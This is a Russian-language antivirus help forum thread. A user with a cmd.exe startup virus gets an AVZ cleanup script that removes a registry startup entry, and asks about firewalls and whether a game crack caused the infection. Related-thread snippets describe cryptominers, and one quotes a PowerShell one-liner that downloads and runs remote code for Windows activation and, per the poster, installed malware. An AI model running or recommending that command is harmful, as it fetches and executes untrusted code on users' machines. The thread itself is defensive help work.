Перейти к содержанию

вирус cmd.exe gangnamgame


Максим Рукавиченко

Рекомендуемые сообщения

собственно сегодня заметил вирус который блокирует ccleaner .ссылка в опере вылазиет с видео гангамстайл и причем на оригинальное видео -_-
 потом через поисковик нашел сайт  и через автолог стандартный решил проверить . не запустился . далее пришлось найти который запускается но предварительно переименовав иначе СИСТЕМОЙ В ОКОШКЕ говорит что потециально вреданосное -_-

и еще . последние действия - metal gear solid the pantom pain с исключением 2 файлов в папке игры от антивируса ибо считала вирусом

логи все таки сделал . жду дальнейших инструкций .

p.s посоветуйте нормальный фаервол . антивирус у меня avira бесплатный а значит мне тоже надо бесплатный .

CollectionLog-2015.09.16-11.57.zip

post-35812-0-11947500-1442376709_thumb.jpg

Изменено пользователем Максим Рукавиченко
Ссылка на комментарий
Поделиться на другие сайты

Выполните скрипт в AVZ

 

begin
RegKeyParamDel('HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\CMD','command');
ExecuteRepair(9);
RebootWindows(false);
end.
Будет выполнена перезагрузка компьютера.

 

Выполните ЕЩЕ РАЗ правила обычной версией Autologger и предоставьте НОВЫЕ логи

Ссылка на комментарий
Поделиться на другие сайты

@thyrex, autologger обычный запустился без проблем. реестр , клинер работают . осталась запись в реестре и я ее в ручную удалил зайди в реестр через клинер.

сделал логи через обычный autologger

больше ничего не требуется ? 

p.s посоветуй бесплатный фаервол . комп не мощный . e7500 ,  4gb , hd6670 1gb gddr5

и еще про вирус. откуда он взялся ? возможно ли что дело в кряке для игры ?

post-35812-0-82459000-1442389419_thumb.jpg

CollectionLog-2015.09.16-15.41.zip

Изменено пользователем Максим Рукавиченко
Ссылка на комментарий
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти
  • Похожий контент

    • San4s2034
      От San4s2034
      Недавно скачал Game of Thrones Genesis с torrent-game.net. Касперски указал, что сайту можно доверять и он проверен. По итогу через время заметил, что в valorant фпс стал заблоченным на 75 и поднимается вверх только если я двигаю мышкой или нажимаю что-то на клавиатуре. Очевидно, что словил майнер. Запустил быструю и полную проверку, результата не дало. Попробовал через защитник windows 11. Заметил, что прогресс доходит до ~70% и потом просто зависает. Запустился через безопасный режим, зашёл в защитник и вылезла ошибка(скриншот). Проверил реестр и групповые политики, ничего нет, все чисто. 

    • San4s2034
      От San4s2034
      Недавно скачал Game of Thrones Genesis с torrent-game.net. Касперски указал, что сайту можно доверять и он проверен. По итогу через время заметил, что в valorant фпс стал заблоченным на 75 и поднимается вверх только если я двигаю мышкой или нажимаю что-то на клавиатуре. Очевидно, что словил майнер. Запустил быструю и полную проверку, результата не дало. Попробовал через защитник windows 11. Заметил, что прогресс доходит до ~70% и потом просто зависает. Запустился через безопасный режим, зашёл в защитник и вылезла ошибка(скриншот). Проверил реестр и групповые политики, ничего нет, все чисто. 

    • fertune
      От fertune
      Когда открываешь диспетчер задач то сначала ЦП грузит на 100% а потом на 10% я посмотрел через dr.web cureit и увидел то что это майнер dialer.exe, смотрел в интернете как пофиксить но никакие способы не помогли(может быть я что то делал неправильно)
      можете помочь с проблемой? Еще я пробовал его фиксить удаляя его но он опять появлялся и грузил ЦП на все 100%.
       
    • Temikst
      От Temikst
      Приветствую. Сын скачивал какую-то программу для игры, как итог словили какой-то вирус. Dr.web ничего не нашел. но обратил внимание что комп стал тупить, до этого не было так
      CollectionLog-2025.02.09-23.46.zip

       
      Даже браузер сильно тормозит. после открывание диспетчер задач сразу же лучше работает\
    • VanyeJ
      От VanyeJ
      Здравствуйте, при включении компьютера и окончательном входе в систему PowerShell пытается перекинуть на вредоносную ссылку. Касперский сразу же блокирует.

      Событие: Остановлен переход на сайт
      Пользователь: WIN-O4R3Q0UCBR5\User
      Тип пользователя: Инициатор
      Имя приложения: powershell.exe
      Путь к приложению: C:\Windows\System32\WindowsPowerShell\v1.0
      Компонент: Интернет-защита
      Описание результата: Запрещено
      Тип: Вредоносная ссылка
      Название: 
      Точность: Точно
      Степень угрозы: Высокая
      Тип объекта: Веб-страница
      Имя объекта: 1731762779-9803.jpeg
      Путь к объекту: 
      Причина: Облачная защита

      Активировал Windows через cmd после этого появилось (powershell iex (irm 'activated.run/key')) команда после которой вирус появился.
      CollectionLog-2025.02.08-15.48.zip
×
×
  • Создать...